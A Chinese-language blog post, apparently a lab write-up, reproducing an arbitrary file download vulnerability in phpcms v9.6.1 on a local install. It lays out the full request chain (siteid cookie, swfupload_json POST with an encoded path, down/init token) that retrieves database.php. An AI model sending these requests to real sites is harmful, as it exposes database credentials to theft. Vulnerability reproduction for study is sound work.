前面咱们一起学习了phpcms_v9.6.0,任意文件上传漏洞复现的过程,不知道小伙伴们后面有没有想到如何进行批量检测呢?我尝试写了个Python脚本,这里要感谢下小建建的API,哈哈,感觉效果还不错;欢迎写好Python的小伙伴们和我一起交流呀!
创作背景:
上周发完phpcms_v9.6.0,任意文件上传漏洞复现的过程的文章后,有小伙伴们说phpcms_v9.6.1的任意文件下载一直复现不成功,于是就有了本文。
基础环境:
1、 phpcms_v9.6.1源码。
2、 web应用环境用于搭建phpcms。
需要工具:
1、 BurpSuite 或者hackBar等。
2、 PHPStudy或者wamp等。
源码部署:
参考:phpcms_v9.6.0 任意文件上传漏洞的链接 :
https://mp.weixin.qq.com/s/hApXD2cKG0a83fzkRTjAlA
0x01 同样的按照常规的源码部署流程先将phpcms_v9.6.1部署到web环境中,部署完访问首页,我是在本地主机上搭建的,首页地址是:http://127.0.0.1/phpcms961/index.php,成功访问便是搭建完成。
0x02 进入后台开启在模块->手机门户 中开启wap站点,开启成功后整个基础环境就配置完成。
漏洞复现:
0x01 在未登录的状态下访问以下链接http://127.0.0.1/phpcms961/index.php?m=wap&c=index&a=init&siteid=1,得到ogpin_siteid:3eefztsyqwyn5Fg3Ns7vDrwhqXGkts26mnUk0r9j
0x02获取到ogpin_siteid后使用POST方法访问以下链接,POST DATA的值就是就是第一步得到ogpin_siteid的值,POST DATA参数名为userid_flash。
【Request】http://127.0.0.1/phpcms961 /index.php?m=attachment&c=attachments&a=swfupload_json&src=a%26i=1%26m=1%26catid=1%26f=. /caches/configs/database.ph%*25*3ep%26modelid=1%26d=1&aid=1
【PostData】userid_flash=3eefztsyqwyn5Fg3Ns7vDrwhqXGkts26mnUk0r9j
得到ogpin_att_json:9b18kNFQJqHBkcjvJ7b2frhUSWYMdSCP2YWFK3cHTyRCW4eNlid12uYqwyosd8Yz_BJQkVbLOIokJFMdsSz2Hz9dYVfXKq4IPVNk_8KT-JNH0USR_oU70A7ehGmnFwCwi2p1ro1lNgVe7-OoUN0c7mXb2amfukXMd3Pi9JnLzZsOcJl5MxA
注:请求中标红的位置是想要要读取的文件路径,这里我读取的是数据连接文件。
0x03 获得到ogpin_att_json后访问以下连接地址其中a_k的值为0x02中的ogpin_att_json的值。
【request】http://127.0.0.1/phpcms961/index.php?m=content&c=down&a=init&a_k=9b18kNFQJqHBkcjvJ7b2frhUSWYMdSCP2YWFK3cHTyRCW4eNlid12uYqwyosd8Yz_BJQkVbLOIokJFMdsSz2Hz9dYVfXKq4IPVNk_8KT-JNH0USR_oU70A7ehGmnFwCwi2p1ro1lNgVe7-OoUN0c7mXb2amfukXMd3Pi9JnLzZsOcJl5MxA
便生成下载链接地址,点击下载,便下载获取得到database.php的文件,漏洞复现完成。
总结:
这个漏洞的复现过程也是属于较为简单的操作,需要明白整个漏洞利用流程,个别小伙伴们复现不成功,有可能wap未开启,或者第二步中绕过代码过滤时没处理好。同样有兴趣的小伙伴们也可以将这个过程用Python来实现,期待小伙伴和我一起交流。